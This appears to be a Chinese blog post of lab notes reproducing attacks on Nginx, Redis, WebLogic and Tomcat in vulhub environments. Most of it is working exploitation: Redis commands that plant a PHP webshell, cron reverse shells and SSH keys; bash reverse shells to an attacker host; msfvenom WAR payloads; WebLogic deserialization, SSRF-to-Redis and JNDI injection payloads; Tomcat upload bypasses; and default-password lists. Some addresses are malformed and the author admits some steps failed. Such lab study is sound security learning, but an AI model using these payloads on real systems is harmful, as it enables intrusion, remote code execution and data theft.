中介軟體漏洞

SchneiderGrace發表於2024-10-04

Nginx

Nginx不安全配置漏洞
/usr/local/soft/vulhub/nginx/insecure-configuration
1.目錄穿越漏洞

http://your-ip:8081/files../

image

2.CRLF注入漏洞

location / { return 302 https://$host$uri; }
原本的目的是為了讓http的請求跳轉到https上

利用方式

%0d%0a%0d%0a<script>alert('xss')</script>

image

自定義cookie內容

/%0d%0aSet-Cookie:Tes3:0Gen

修復建議

修改配置檔案如下:
location / {
        return 302 https://$host$request_uri;
}

3.add_header被覆蓋
Nginx配置檔案子塊(server、location、if)中的add_header,將會覆蓋父塊中的add_header新增的HTTP頭,造成一些安全隱患。

server {
    ...
    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;
 
    location = /test1 {
        rewrite ^(.*)$ /xss.html break;
    }
 
    location = /test2 {
        add_header X-Content-Type-Options nosniff;
        rewrite ^(.*)$ /xss.html break;
    }
}

但/test2的location中又新增了X-Content-Type-Options頭,nginx僅載入模組內部的頭部修改資訊,則會導致在父塊中配置的 add_header Content-Security-Policy "default-src 'self'";無法在/test2中生效。從而使/test2這裡無法獲得防禦功能

http://127.0.0.:8082/test2#<script>alert(1)</script>

Nginx解析漏洞
由於nginx.conf的配置導致nginx把以’.php’結尾的檔案交給fastcgi處理,對於任意檔名,在後面新增/xxx.php(xxx為任意字元)後,即可將檔案作為php解析。

/usr/local/soft/vulhub/nginx/nginx_parsing_vulnerability

上傳jpg圖片,抓包在末尾新增

image

訪問路徑,在路徑末尾新增/xxx.php

http://192.168.226.132/uploadfiles/5a19122a1b12cf907bad9132955a4329.jpg/xxx.php

image
利用方式2
image
上傳一句話圖片碼
image
image

Redis未授權訪問漏洞

1.Redis介紹
Redis伺服器被挖礦案例
惡意程式碼做了什麼?

1)拿到伺服器root許可權
2)替換一些命令,刪除一些檔案
3)掃描埠,幹掉其他挖礦程式
4)下載惡意指令碼執行
5)生成SSH檔案,實現免密登入

redis使用

語法	操作
賦值	set wuya 666 /hset hash a 1 b 2 c 3 d 4
清空	flushall
取值	get wuya
查所有	keys *
Redis持久化機制

自動觸發

配置: vim redis.conf
1、save 3600 1#自動觸發規則 (一小時內修改則觸發)
2、dbfilename dump.rdb#儲存檔名
3、dir./#儲存路徑

手動觸發

儲存命令:save/bgsave

3.Redis動態修改配置

客戶端連線服務端

redis-cli -h 192.168.226.131 -p 6379 -a admin

退出後無法重連,在服務端執行一下iptables -F就好了
連線完redis後才能修改
config set:動態修改配置,重啟以後失效
config set dir /www/admin/localhost 80/wwwroot
config set dbfilename redis.php
image

webshell提權

redis-cli-h192.168.226.131 -p6379 -aadmin
config set dir /www/admin/localhost 80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]);?>
save

上面寫入一句話木馬後,瀏覽器訪問http://192.168.226.131/redis.php
image
直接上蟻劍

總結
流程
1、監聽埠
2、執行命令,或者上傳payload訪問,建立連線怎麼上傳?
1、檔案上傳漏洞
2、寫入檔案:MySQL、Redis、CMS
3、文字編輯命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)怎麼執行?
訪問或者定時任務自動觸發

Redis寫入反彈連線任務
定時任務crontab
命令 操作
crontab -u root -r 刪除某個使用者的任務
crontab -u root time.cron 把檔案新增到某個使用者的任務
crontab -u root -l 列舉某個使用者的任務
crontab -u root -e 編輯某個使用者的任務
cron檔案儲存路徑
路徑 內容
/var/spool/cron 這個檔案負責安排由系統管理員制定的維護系統以及其他任務的crontab
/etc/crontab 放的是對應週期的任務dalily、hourly 、monthly、weekly
實現每隔五秒列印時間到time.txt
time.cron檔案

*/1 * * * * /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 5 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 10 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 15 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 20 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 25 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 30 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 35 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 40 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 45 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 50 && /bin/date >>/usr/local/soft/date.txt
*/1 * * * * sleep 55 && /bin/date >>/usr/local/soft/date.txt

新增到定時任務

crontab -u root time.cron

實時檢視date.txt

tail -f date.txt
Fri Mar 22 09:50:02 CST 2024
Fri Mar 22 09:50:07 CST 2024
Fri Mar 22 09:50:12 CST 2024
Fri Mar 22 09:50:17 CST 2024
Fri Mar 22 09:50:22 CST 2024
Fri Mar 22 09:50:27 CST 2024
Fri Mar 22 09:50:32 CST 2024
Fri Mar 22 09:50:37 CST 2024
Fri Mar 22 09:50:42 CST 2024
Fri Mar 22 09:50:47 CST 2024
Fri Mar 22 09:51:02 CST 2024
Fri Mar 22 09:51:07 CST 2024
Fri Mar 22 09:51:12 CST 2024
Fri Mar 22 09:51:17 CST 2024

Redis寫入定時任務(反彈shell)
cilent
開啟7777監聽

[root@localhost chen_rk]# nc -lvp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.226.131.
Ncat: Connection from 192.168.226.131:35232.
bash: no job control in this shell

redis寫入定時任務,修改路徑到定時任務路徑

192.168.226.131:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.226.132/7777 0>&1\n"
OK
192.168.226.131:6379> config set dir /var/spool/cron/
OK
192.168.226.131:6379> config set dbfilename root
OK
192.168.226.131:6379> save
OK

一分鐘後成功連線
SSH key免密登
流程
1、客戶端生成金鑰對(公鑰、私鑰)
2、客戶端把公鑰發給服務端儲存(正常情況需要密碼)
3、客戶端用私鑰加密訊息,發給服務端
4、服務端用公鑰解密,解密成功,說明金鑰匹配5、客戶端免密登入成功
client

[root@localhost ~]# ssh-keygen  一直回車,生成隱藏檔案.ssh
[root@localhost ~]# ls -a
[root@localhost ~]# cd .ssh/
[root@localhost .ssh]# ls
id_rsa  id_rsa.pub
[root@localhost .ssh]# ssh-copy-id root@192.168.226.131 #傳給server,需要服務端密碼
[root@localhost .ssh]# ssh -i ./id_rsa root@192.168.226.131 免密連線

寫入公鑰

set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain\n\n\n"

利用redis寫入ssh key

[root@localhost .ssh]# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain
client
192.168.226.131:6379> flushall
OK
192.168.226.131:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZomGEMR1U4NQ34CE/0ORBLTwErm9Rqit6O9tu2NFdsQMQAVRHtK0fFrtDQ4bRW1ljQjf7Wa12HAq+nJJZTYQhiDT1EocozPvxKg539qLmIp24kUHmOpDe24C9dWAt01A7+cg0ftNuxd/ea0kIBFT9LmOcjTLDeu3czefzEckffXPTELTk+66cNwrt1fY0jq8NkLfwvZ8JnkQEr+kDOBgf2kdsFn4nDC3smoifDWKVYHAIinAhwZDCgL3whpr/5cSteihzyleLCeKbdv9dfFWifkBeXy1CIFk808ruTVP2mVTu+hXyMNutlfPzDcO2X6q9xfwv20MyCbiOn1Z96W1F root@localhost.localdomain\n\n\n"
OK
192.168.226.131:6379> config set dir /root/.ssh
OK
192.168.226.131:6379> config set dbfilename authorized_keys
OK
192.168.226.131:6379> save
OK

上傳完成後連線即可

[root@localhost ~]# ssh -i ./id_rsa root@192.168.226.131
Warning: Identity file ./id_rsa not accessible: No such file or directory.
Last login: Fri Mar 22 10:45:46 2024 from 192.168.226.132
[root@localhost ~]# ifconfig

Redis其他利用方式


基於主從複製的RCE(Remote Code Execution)
jackson反序列化利用
lua RCE
Redis密碼爆破

Redis加固方案

1、限制訪問IP
2、修改預設埠
3、使用密碼訪問
4、不要用root執行Redis

Weblogic漏洞
1.Weblogic基本介紹
全名:Oracle WebLogic Server,JavaEE伺服器
商業產品,適用於大型商業專案
同類產品:IBMWebSphere、ApacheTomcat、Redhat Jboss
常見版本:WebLogic Server 10.x ——11g WebLogic Server 12.x ——12c
vulhub靶場——基於WebLogic Server 10.3.6
預設埠:7001
漏洞利用工具

奇安信搭建工具(其他版本)
https://github.com/QAX-A-Team/WeblogicEnvironment
課程涉及工具:
CentOS、Kali、BurpSuite
解密工具
https://github.com/TideSec/Decrypt_Weblogic_Password
weblogic漏洞綜合利用工具(深信服)
https://github.com/KimJun1010/WeblogicTool

image

2.弱口令、任意檔案讀取
weblogic常用弱口令:

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

(1)弱口令登入

http://192.168.226.131:7001/console/
weblogic:Oracle@123

(2)任意檔案讀取
漏洞描述:可以讀取伺服器任意檔案。在讀取到金鑰和密碼密文以後,可以AES解密出後臺密碼。

http://192.168.142.133:7001/hello/file.jsp?path=/etc/passwd
密文絕對路徑:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat,相對路徑:security/SerializedSystemIni.dat
金鑰絕對路徑:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml ,相對路徑:config/config.xml

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

將二進位制改為111.data檔案
image
找到金鑰
image
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
jdk必須是8
image
getshell 成功登入後臺後,用kali製作一個waf包木馬部署到後臺

1、kali生成木馬
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.162lport=4444 -f war -o java.war
2、點選左側 部署->安裝->上傳war包->(全部下一步)->完成3、kali監聽
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.142.162
set LPORT 4444
exploit
4、訪問:
http://192.168.142.133:7001/java

3.任意檔案上傳CVE-2018-2894
影響版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

[root@localhost CVE-2018-2894]# docker-compose up -d
[root@localhost CVE-2018-2894]# docker compose logs | grep password
cve-2018-2894_weblogic_1  |----> 'weblogic' admin password: KuK4Sre0

image

登陸後臺後修改base_domain設定
image

漏洞地址:
http:/192.168.226.131:7001/ws_utc/config.do
image

修改工作目錄
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
點選安全——新增,上傳大馬dama.jsp
image

F12,搜尋keystore_table,找到時間戳
image

http://192.168.226.131:7001/ws_utc/css/config/keystore/1711184487975_dama.jsp
image

成功進入後臺
image

4.SSRF CVE-2014-4210
影響版本:weblogic 10.0.2 – 10.3.6
漏洞環境 vulhub/weblogic/ssrf
獲取內網IP: docker ps docker exec -it 容器ID ifconfig

訪問: http://192.168.142.133:7001/uddiexplorer/ (無需登入)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp抓包,修改operator值為:http://172.21.0.2.6379/
[root@localhost ssrf]# docker ps
[root@localhost ssrf]# docker exec -it c51b bash
獲得內網ip號 172.18.0.3

訪問:

http://192.168.142.133:7001/uddiexplorer/ (無需登入)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包,修改operator值為:http://172.21.0.3.6379/

隨便輸入內容抓包
image

資料包

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.226.131:7001
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.226.131:7001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.226.131:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=MYQBmQKMW11pbL6JCw0n2Qcrfs6VDPTxJhrGq2pk3vWs1y2cTFdm!560318978
Connection: close

operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=12312&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

替換成內網的6379埠
image

發包提示報錯,說明正常開放,即有ssrf漏洞
image

反彈payload
開啟kali
1、payload內容

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.226.130/7777 0>&1' \n\n\n\n" 
config set dir /etc/	
config set dbfilename crontab
save

2、編碼網站(encodeURIComponent編碼方式)

http://www.kuquidc.com/enc/urlencode.php
將所有%0A替換成%0D%0A(Redis協議以 CRLF 結尾(即"\r\n"))
編碼完再在最後面加一個%0D%0Alalala(lalala隨便)
前面的路徑後面再加兩個%0D%0A%0D%0A

3、kali監聽

nc -lvp 7777

對payload進行url編碼
image

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0Aconfig%20set%20dir%20%2Fetc%2F%09%0Aconfig%20set%20dbfilename%20crontab%0Asave

再將所有%0A替換成 %0D%0A
image

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0D%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

編碼完再在最後面加一個%0D%0Alalala(lalala隨便)
前面的路徑後面再加兩個%0D%0A%0D%0A
image

http://172.18.0.3:6379/test/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0D%0A%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala

kali開啟監聽

┌──(root㉿kali)-[/home/kali]
└─# nc -lvp 7777
listening on [any] 7777 ...

修改引數

operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0D%0Aconfig%20set%20dir%20%2Fetc%2F%09%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Alalala&rdoSearch=name&txtSearchname=12312&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

或者,反正兩次都沒成功

http://172.21.0.3.6379/test/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20%0Aconfig%20set%20dir%20%2Fetc%2F%09%0Aconfig%20set%20dbfilename%20crontab%0Asave%0D%0A%0D%0Aaaa

image

5.CVE-2020-14882-遠端程式碼執行
weblogic未授權漏洞:CVE-2020-14882
weblogic命令執行漏洞:CVE-2020-14883
1、CVE-2020-14882允許未授權的使用者繞過管理控制檯
(Console)的許可權驗證訪問後臺,CVE-2020-14883允許後
臺任意使用者透過HTTP協議執行任意命令。
2、使用這兩個漏洞組成的利用鏈,可透過一個GET請求在遠端
Weblogic伺服器上以未授權的任意使用者身份執行命令
影響版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
測試是否存在未授權訪問:直接訪問後臺

http://192.168.142.133:7001/console/css/%252e%252e%252fconsole.port
al?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage&handle=co
m.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_d
omain%2CType%3DDomain%22%29

利用方式

三種利用方式(擴充套件資料):
https://mp.weixin.qq.com/s/knejHKP43SjifXMZFs7BVQ
1、執行payload後不回顯,但是已經執行成功。
使用GET請求或者使用dnslog平臺進行驗證
2、執行payload後回顯
透過GET方式進行payload提交
透過POST方式進行payload提交
3、透過把payload構造為XML格式進行引用(本節課演示的方法)

poc.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>/bin/bash</value>
	<value>-c</value>
	<value><![CDATA[bash -i >& /dev/tcp/192.168.226.130/5555 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

image

再開啟監聽
image

訪問

http://192.168.226.131:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.226.130:8888/poc.xml")

連線成功
image

6.CVE-2018-2628-T3協議反序列化漏洞
漏洞描述
1、Weblogic開放控制檯的7001埠,預設會開啟T3協議服務
2、Weblogic的T3協議實現了RMI(遠端方法呼叫),在WebLogic Server 和其他 Java 程式間傳輸資料
3、T3協議的缺陷觸發了Weblogic Server WLS Core Components中存在的反序列化漏洞
4、攻擊者可以傳送構造的惡意T3協議資料,伺服器反序列化以後執行惡意程式碼,獲取到目標伺服器許可權
原理分析(擴充資料):

https://xz.aliyun.com/t/8073

T3反序列化漏洞概況
影響版本:
10.3.6.0/12.1.3.0/12.2.1.2/12.2.1.3
漏洞環境:
vulhub/weblogic/CVE-2018-2628
T3協議檢測:

nmap -n -v -p 7001,7002 192.168.142.133 --script=weblogic-t3-info

利用流程
image

復現步驟(總體)
1、kali啟動JRMPListener,引數包含惡意程式碼惡意程式碼的作用是連線到7777埠)
2、kali建立7777埠監聽
3、執行poc.py,讓漏洞伺服器主動連線RMI伺服器,進而下載惡意程式碼,建立反彈連線
操作
1、生成反彈連線

bash -i >& /dev/tcp/192.168.226.130/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

2、kali啟動JRMPListener

┌──(root㉿kali)-[/home/kali]
└─#java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761
CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

3、kali監聽

nc -lvp 7777

4、kali執行執行POC(只支援Python2)

python2 cve-2018-2628-exp.py 192.168.226.131 7001 ysoserial.jar 192.168.226.130 8761 JRMPClient

7.CVE-2017-10271-XML反序列化漏洞

漏洞描述
Weblogic的WLS Security元件對外提供webservice服務,其中使用了XMLDecoder來解析使用者傳入的XML資料,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
原理分析(擴充資料):
https://xz.aliyun.com/t/10172
影響版本:
10.3.6.0.0/12.1.3.0.0/12.2.1.1.0/12.2.1.2.0
漏洞環境
vulhub/weblogic/CVE-2017-10271
訪問
http://192.168.226.131:7001/wls-wsat/CoordinatorPortType
image

說明支援xml格式的檔案傳輸(響應頭可看)
kali開啟監聽埠

nc -lvp 8888

poc.xml,Repeater發包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.226.131:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.226.130/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功連線
image

8.CVE-2023-21839-JNDI注入漏洞
1、T3/IIOP協議支援遠端繫結物件bind到服務端,而且可以透過lookup程式碼c.lookup("xxxxxx"); 檢視
2、遠端物件繼承自OpaqueReference並lookup檢視遠端物件時,服務端會呼叫遠端物件getReferent方法
3、由於weblogic.deployment.jms.ForeignOpaqueReference繼承自OpaqueReference並實現getReferent方法,存在retVal =context.lookup(this.remoteJNDIName)實現,所以能夠透過RMI/LDAP遠端協議進行遠端命令執行
注:JNDI注入可以參考學習:《CVE漏洞復現-Log4j漏洞》
JNDI注入漏洞
影響版本:12.2.1.3.0/12.2.1.4.0/14.1.1.0.0
漏洞環境
vulhub/weblogic/CVE-2023-21839
操作

1、執行JNDI-Injection-Exploit-1.0.jar
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

image

選擇jdk1.8和ldap

ldap://192.168.226.130:1389/jmvaef

2、kali開啟7777監聽

nc -lvp 7777

3、Windows向漏洞伺服器傳送poc

CVE-2023-21839.exe -ip 192.168.226.131 -port 7001 -ldap ldap://192.168.226.130:1389/jmvaef

image

4、成功連線
image
工具
https://github.com/KimJun1010/WeblogicTool

Tomcat漏洞

CVE-2017-12615任意檔案寫入
影響版本:7.0.0-7.0.81
漏洞原理:
由於配置不當(非預設配置),將配置檔案conf/web.xml中的readonly設定為了 false,導致可以使用PUT方法上傳任意檔案,但限制了jsp字尾的上傳
根據描述,在 Windows 伺服器下,將 readonly 引數設定為 false 時,即可透過 PUT 方式建立一個 JSP 檔案,並可以執行任意程式碼
透過閱讀 conf/web.xml 檔案,可以發現,預設 readonly 為 true,當 readonly 設定為 false 時,可以透過 PUT / DELETE 進行檔案操控

sudo docker-compose up -ddocker ps    //檢視docker環境是否啟動成功

開啟網頁抓包,上傳檔案
image
image

sudo docker exec -ti ec bash    //進入docker容器cat conf/web.xml | grep readonly
cd /usr/local/tomcat/webapps/ROOTls
cat ./test.txt

使用PUT方法上傳任意檔案,但限制了jsp字尾的上傳,這裡首先使用PUT方法直接上傳一個冰蠍的jsp上去,發現返回的是404,應該是被攔截了
image

1.Windows下不允許檔案以空格結尾以PUT /a001.jsp%20 HTTP/1.1上傳到 Windows會被自動去掉末尾空格
2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.13. /在檔名中是非法的,也會被去除(Linux/Windows)Put/a001.jsp/http:/1.1
首先使用%20繞過。我們知道%20對應的是空格,在windows中若檔案這裡在jsp後面新增%20即可達到自動抹去空格的效果。這裡看到返回201已經上傳成功了
image

第二種方法為在jsp字尾後面使用/,因為/在檔名中是非法的,在windows和linux中都會自動去除。根據這個特性,上傳/ice1.jsp/,看到返回201
image

第三種方法就是使用Windows NTFS流,在jsp後面新增::$DATA,看到返回201,上傳成功
image
image

CVE-2020-1938 AJP檔案包含漏洞
CVE-2020-1938為Tomcat AJP檔案包含漏洞。由長亭科技安全研究員發現的存在於 Tomcat中的安全漏洞,由於 Tomcat AJP協議設計上存在缺陷,攻擊者透過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意檔案,例如可以讀取 webapp配置檔案或原始碼。
此外在目標應用有檔案上傳功能的情況下,配合檔案包含的利用還可以達到遠端程式碼執行的危害
漏洞原理
Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP預設埠為8080,處理http請求,而AJP預設埠8009,用於處理 AJP 協議的請求,而AJP比http更加最佳化,多用於反向、叢集等,漏洞由於Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可透過構造特定引數,讀取伺服器webapp下的任意檔案以及可以包含任意檔案,如果有某上傳點,上傳圖片馬等等,即可以獲取shell
tomcat預設的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議埠,另外一個就是預設的8009 AJP協議埠,兩個埠預設均監聽在外網ip。
image
image
image

tomcat在接收ajp請求的時候呼叫org.apache.coyote.ajp.AjpProcessor來處理ajp訊息,prepareRequest將ajp裡面的內容取出來設定成request物件的Attribute屬性
image

因此可以透過此種特性從而可以控制request物件的下面三個Attribute屬性
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path
然後封裝成對應的request之後,繼續走servlet的對映流程如下
image

tomcat8弱口令
Tomcat有一個管理後臺,其使用者名稱和密碼在Tomcat安裝目錄下的conf/tomcat-users.xml檔案中配置,不少管理員為了方便,經常採用弱口令。
Tomcat 支援在後臺部署war包,可以直接將webshell部署到web目錄下,如果tomcat後臺管理使用者存在弱口令,這很容易被利用上傳webshell。
登入抓包
image
進行組合編碼爆破
image
image
image

爆出密碼是tomcat:tomcat,但是現在的靶機無法用這個賬號密碼了,無法演示
成功登入後進行getshell,上傳war包(冰蠍war包),連線即可

相關文章